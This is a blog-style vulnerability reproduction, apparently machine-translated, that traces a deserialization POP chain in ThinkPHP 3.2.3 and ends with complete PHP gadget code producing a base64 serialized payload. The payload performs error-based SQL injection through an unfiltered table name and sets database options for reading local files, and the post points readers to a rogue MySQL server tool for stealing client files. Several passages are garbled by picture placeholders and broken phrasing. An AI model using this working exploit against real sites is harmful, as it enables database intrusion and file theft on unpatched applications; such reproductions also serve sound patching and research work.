ThinkPHP3.2.3 deserialization vulnerability recurrence


The first time I reviewed the deserialization loopholes, I felt that deserialization was quite interesting, but I did learn the structure of the POP chain in the framework (I didn't expect to add namespace, user, etc.). I was a little confused when I was looking for a suitable springboard. I think it will be better to try more in the future~

Article Directory


Give a deserialization entry in the Index controller:

public function index(){


1. The first is to find a way to start, usually __destructionstarting from this hard-hit area, searching globallyfunction __destruct(

Insert picture description here

In TP3 search __destruction()found many: free(), fclose($this->fp)this type of approach, nothing utilization.

But one place is very different, located at:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

// Imagick
public function __destruct() {
    empty($this->img) || $this->img->destroy();

The $this->img here refers to the img member variable in this class, which is completely controllable.

2. Then continue to search the destroy method globally, and
pay attention ThinkPHP/Library/Think/Session/Driver/Memcache.class.phpto the destroy: In the

Insert picture description here

previous step, we called without parameters destroy(), then the formal parameter $sessID is empty. In the ThinkPHP framework, calling a function with parameters without passing in parameters, this can be executed in PHP5, but it will throw an exception in PHP7, so if you want to reproduce it, you cannot use the PHP7 environment.

The $this->handlesame here is controllable, but the parameters passed into delete can only be controlled $sessionNamebut not controlled $sessID. Continue to find the delete() method.

3. Find:ThinkPHP/Mode/Lite/Model.class.php


public function delete($options=array()) {
    $pk   =  $this->getPk();
    if(empty($options) && empty($this->options['where'])) {
        // 如果删除条件为空 则删除当前数据对象所对应的记录
        if(!empty($this->data) && isset($this->data[$pk]))
            return $this->delete($this->data[$pk]);
            return false;
    if(is_numeric($options)  || is_string($options)) {
        // 根据主键删除记录
        if(strpos($options,',')) {
            $where[$pk]     =  array('IN', $options);
            $where[$pk]     =  $options;
        $options            =  array();
        $options['where']   =  $where;
    // 根据复合主键删除记录
    if (is_array($options) && (count($options) > 0) && is_array($pk)) {
        $count = 0;
        foreach (array_keys($options) as $key) {
            if (is_int($key)) $count++; 
        if ($count == count($pk)) {
            $i = 0;
            foreach ($pk as $field) {
                $where[$field] = $options[$i];
            $options['where']  =  $where;
        } else {
            return false;
    // 分析表达式
    $options =  $this->_parseOptions($options);
        // 如果条件为空 不进行删除操作 除非设置 1=1
        return false;
    if(is_array($options['where']) && isset($options['where'][$pk])){
        $pkValue            =  $options['where'][$pk];

    if(false === $this->_before_delete($options)) {
        return false;
    $result  =    $this->db->delete($options);
    if(false !== $result && is_numeric($result)) {
        $data = array();
        if(isset($pkValue)) $data[$pk]   =  $pkValue;
    // 返回删除记录个数
    return $result;


Insert picture description here

Among them: $pk = $this->getPk();it returns to the current class, which is the member variable in the Model class, which is $pkcontrollable.
When the input $optionsis an empty array and the member variable $this->options['where']is empty, then enter the if, control $this->datacan enter the second layer if and then call this method, but the parameter is $this->data[$pk], but this is also controllable.

When you call yourself again, you will go directly to these statements:

Insert picture description here

note $this->dbthat the delete method will be called at the end , and the parameters $optionsare $this->data[$pk]controlled by. But which class? Not this category, but:

This is the delete() method in ThinkPHP's database model class, which will eventually be called to delete() in the database driver class

That is, ThinkPHP/Library/Think/Db/Driver.class.phpthe Driver class located .

But before entering this class, pay attention to the return operation in front, so $options['where'], that is, it $data[$pk]['where']cannot be empty, and the comment also tells us how to set this value:1=1

4. Coming to the Driver class:

Insert picture description here

here will generate a Delete SQL statement, the most important of which is to directly $tablesplice it into the SQL statement , why is it direct? Although there is a parseTable method before splicing, it is still useless. Let's go into parseTable to see:

Insert picture description here

determine $tablewhat type it is. If it is an array, loop through it and execute the parseKey method. If it is a string, execute the parseKey method according to commas. But the parseKey method is like this: there is nothing, just return directly $key, no filtering leads to the vulnerability!

Insert picture description here

5. After the SQL statement is spliced, it will be executed in execute(). The execute method will initialize the connection at the beginning, follow up with the

Insert picture description here

default single database, and follow up: it is

Insert picture description here

found that this class will be called in the parameters $config, which is the driver class. Then the database connection will be realized through PDO,

Insert picture description here

so here we also need to initialize the database connection.

Construct POP chain

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();


namespace Think\Session\Driver{
    use Think\Model;

    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();



namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
        protected $db=null;

        public function __construct()
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'



namespace Think\Db\Driver{
    use PDO;
    class Mysql {

        protected $config     = array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  'localhost', // 服务器地址
            'database'          =>  'tpdemo',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
            //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了,开启后可堆叠注入



    echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));

Insert picture description here

In addition, it is not just pure SQL injection. Because the database connection configuration is controllable , and the MySQL malicious server reading client file vulnerability can also be realized , I am too lazy to reproduce this attack method... You can use the author's script: Rogue-MySql-Server